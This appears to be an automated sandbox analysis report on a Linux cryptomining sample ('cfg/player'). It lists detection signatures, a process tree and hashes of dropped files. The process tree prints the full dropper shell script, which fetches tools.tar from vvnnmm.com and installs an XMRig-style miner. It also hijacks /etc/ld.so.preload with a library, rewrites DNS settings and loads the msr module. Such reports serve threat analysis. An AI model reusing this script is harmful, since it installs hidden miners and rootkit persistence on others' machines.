Overview

overview

10

Static

static

10

cfg/dealer

ubuntu-18.04-amd64

10

cfg/libextrasshd.so

ubuntu-18.04-amd64

1

cfg/player

ubuntu-18.04-amd64

10

cfg/rcu_tasked

ubuntu-18.04-amd64

10

Analysis

  • max time kernel
    152s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20230831-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20230831-enkernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/09/2023, 10:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cfg/player
  • Size 1.0MB
  • Sample230908-mn992sag75
  • SHA256 c45de89cbafa7e451b7b53fe3eeab0d8c89d82021e1756ba365c852f6b9fe82a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xmrig_linuxantivmminerpersistencerootkit

Malware Config

Signatures

  • XMRig Miner payload 3 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Modifies the dynamic linker configuration file 1 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

    persistence
  • Executes dropped EXE 1 IoCs
  • Loads a kernel module 1 IoCs

    Loads a Linux kernel module, potentially to achieve persistence

    rootkit
  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 46 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Write file to user bin folder 1 TTPs 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/cfg/player
    /tmp/cfg/player
    1⤵
      PID:611
    • /bin/bash
      /tmp/cfg/player -c "exec '/tmp/cfg/player' \"\$@\"" /tmp/cfg/player
      1⤵
        PID:611
      • /tmp/cfg/player
        /tmp/cfg/player
        1⤵
          PID:611
        • /bin/bash
          /tmp/cfg/player -c " #!/bin/bash installTools(){ echo \"Installing \$1\" if ! apt install \"\$1\" -y >/dev/null 2>&1; then if ! yum install \"\$1\" -y >/dev/null 2>&1; then if ! snap add \"\$1\" -y >/dev/null 2>&1; then if ! apk install \"\$1\" -y >/dev/null 2>&1; then echo \"Can't install \$1\" fi fi fi fi } if [ -f /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp/.tmp ];then locbig=\$(cat /var/tmp/systemd-private-f7732edae7f9494cb9b8001dfdds81816-cups.service-Y4Kr3n/tmp/.tmp) # ex: /root/.cfg else locbig='/root/.cfg' fi locsmall=\${locbig##*/} # ex: .cfg echo \"\" > /etc/ld.so.preload count_pid=\$(pgrep -c rcu_tasked) >/dev/null 2>&1 null_pid=0 if [ \"\$count_pid\" -gt \"\$null_pid\" ] then echo \"IF 1\" echo /usr/local/lib/libextrasshd.so >> /etc/ld.so.preload exit 0 else echo \"IF 2\" if [ ! -d \$locbig ]; then mkdir -p \$locbig >/dev/null 2>&1 fi cd \$locbig if [ ! -f \$locbig/rcu_tasked ]; then cp -f /usr/bin/mslog/\$locsmall/* \$locbig/ >/dev/null fi if [ ! -f \$locbig/rcu_tasked ]; then cd \$locbig echo \"nameserver 8.8.8.8\" > /etc/resolv.conf sleep 1 if ! curl -O vvnnmm.com/tools.tar > /dev/null; then if ! wget vvnnmm.com/tools.tar > /dev/null; then installTools \"curl\" if ! curl -O vvnnmm.com/tools.tar > /dev/null; then installTools \"wget\" wget vvnnmm.com/tools.tar > /dev/null else exit 1 fi fi fi tar xvf tools.tar chmod +x * mv player /usr/bin/ mv libextrasshd.so /usr/local/lib/ echo /usr/local/lib/libextrasshd.so >> /etc/ld.so.preload mkdir -p /usr/bin/mslog/\$locsmall/ >/dev/null 2>&1 cp -a \$locbig/rcu_tasked /usr/bin/mslog/\$locsmall/ >/dev/null 2>&1 cp -a \$locbig/dealer /usr/bin/mslog/\$locsmall/ >/dev/null 2>&1 cp -a \$locbig/tools.tar /usr/bin/mslog/\$locsmall/ >/dev/null 2>&1 rm -rf /usr/bin/mslog/\$locsmall/pass* >/dev/null 2>&1 fi chmod 777 \$locbig/rcu_tasked \$locbig/./rcu_tasked >/dev/null 2>&1 fi echo /usr/local/lib/libextrasshd.so >> /etc/ld.so.preload " /tmp/cfg/player
          1⤵
          • Modifies the dynamic linker configuration file
          • Writes DNS configuration
          PID:611
          • /bin/mkdir
            mkdir -p /root/.cfg
            2⤵
              PID:616
            • /bin/cp
              cp -f "/usr/bin/mslog/.cfg/*" /root/.cfg/
              2⤵
              • Reads runtime system information
              PID:617
            • /bin/sleep
              sleep 1
              2⤵
                PID:618
              • /usr/bin/wget
                wget vvnnmm.com/tools.tar
                2⤵
                  PID:625
                • /bin/tar
                  tar xvf tools.tar
                  2⤵
                    PID:626
                    • /usr/local/sbin/gzip
                      gzip -d
                      3⤵
                        PID:627
                      • /usr/local/bin/gzip
                        gzip -d
                        3⤵
                          PID:627
                        • /usr/sbin/gzip
                          gzip -d
                          3⤵
                            PID:627
                          • /usr/bin/gzip
                            gzip -d
                            3⤵
                              PID:627
                            • /sbin/gzip
                              gzip -d
                              3⤵
                                PID:627
                              • /bin/gzip
                                gzip -d
                                3⤵
                                  PID:627
                              • /bin/chmod
                                chmod +x libextrasshd.so player rcu_tasked tools.tar
                                2⤵
                                  PID:628
                                • /bin/mv
                                  mv player /usr/bin/
                                  2⤵
                                  • Reads runtime system information
                                  PID:629
                                • /bin/mv
                                  mv libextrasshd.so /usr/local/lib/
                                  2⤵
                                    PID:630
                                  • /bin/mkdir
                                    mkdir -p /usr/bin/mslog/.cfg/
                                    2⤵
                                      PID:631
                                    • /bin/cp
                                      cp -a /root/.cfg/rcu_tasked /usr/bin/mslog/.cfg/
                                      2⤵
                                      • Write file to user bin folder
                                      PID:632
                                    • /bin/cp
                                      cp -a /root/.cfg/dealer /usr/bin/mslog/.cfg/
                                      2⤵
                                        PID:633
                                      • /bin/cp
                                        cp -a /root/.cfg/tools.tar /usr/bin/mslog/.cfg/
                                        2⤵
                                        • Write file to user bin folder
                                        PID:634
                                      • /bin/rm
                                        rm -rf "/usr/bin/mslog/.cfg/pass*"
                                        2⤵
                                          PID:635
                                        • /bin/chmod
                                          chmod 777 /root/.cfg/rcu_tasked
                                          2⤵
                                            PID:636
                                          • /root/.cfg/rcu_tasked
                                            /root/.cfg/./rcu_tasked
                                            2⤵
                                            • Executes dropped EXE
                                            • Checks CPU configuration
                                            • Checks hardware identifiers (DMI)
                                            • Reads CPU attributes
                                            • Reads hardware information
                                            • Enumerates kernel/hardware configuration
                                            • Reads runtime system information
                                            PID:637
                                        • /usr/bin/pgrep
                                          pgrep -c rcu_tasked
                                          1⤵
                                          • Reads CPU attributes
                                          • Reads runtime system information
                                          PID:615
                                        • /bin/sh
                                          sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
                                          1⤵
                                            PID:644
                                            • /sbin/modprobe
                                              /sbin/modprobe msr "allow_writes=on"
                                              2⤵
                                              • Loads a kernel module
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:645

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                libextrasshd.so
                                                • Path /root/.cfg/libextrasshd.so
                                                • Size 12KB
                                                • SHA256 7c2dbc1e2177224ae741d001785595e2f5b470181a3525a3cd4a8bc49aedf640
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                player
                                                • Path /root/.cfg/player
                                                • Size 1.0MB
                                                • SHA256 c45de89cbafa7e451b7b53fe3eeab0d8c89d82021e1756ba365c852f6b9fe82a
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                rcu_tasked
                                                • Path /root/.cfg/rcu_tasked
                                                • Size 6.3MB
                                                • SHA256 b972c701bd33920e4d104ecabf6ffc8675c0b2cc9ed90ad49754a6ab7c083689
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                tools.tar
                                                • Path /root/.cfg/tools.tar
                                                • Size 3.2MB
                                                • SHA256 8fa620fcfc578d265317bc34607dbeb4ec3b093ce48acb9754b961df3a032524
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                rcu_tasked
                                                • Path /usr/bin/mslog/.cfg/rcu_tasked
                                                • Size 6.2MB
                                                • SHA256 b1be5e2bbaf68c0eb002f2e194e98ebd22cf5e98db1f8fc305f3747a97f55734
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download

                                                tools.tar
                                                • Path /usr/bin/mslog/.cfg/tools.tar
                                                • Size 3.1MB
                                                • SHA256 5c2baaef6ed14636e33a5811cfa13c73066b9f3cfbe7c6272052061c9a0decfe
                                                • MD5 SHA1 SHA512 SSDEEP
                                                Submit Download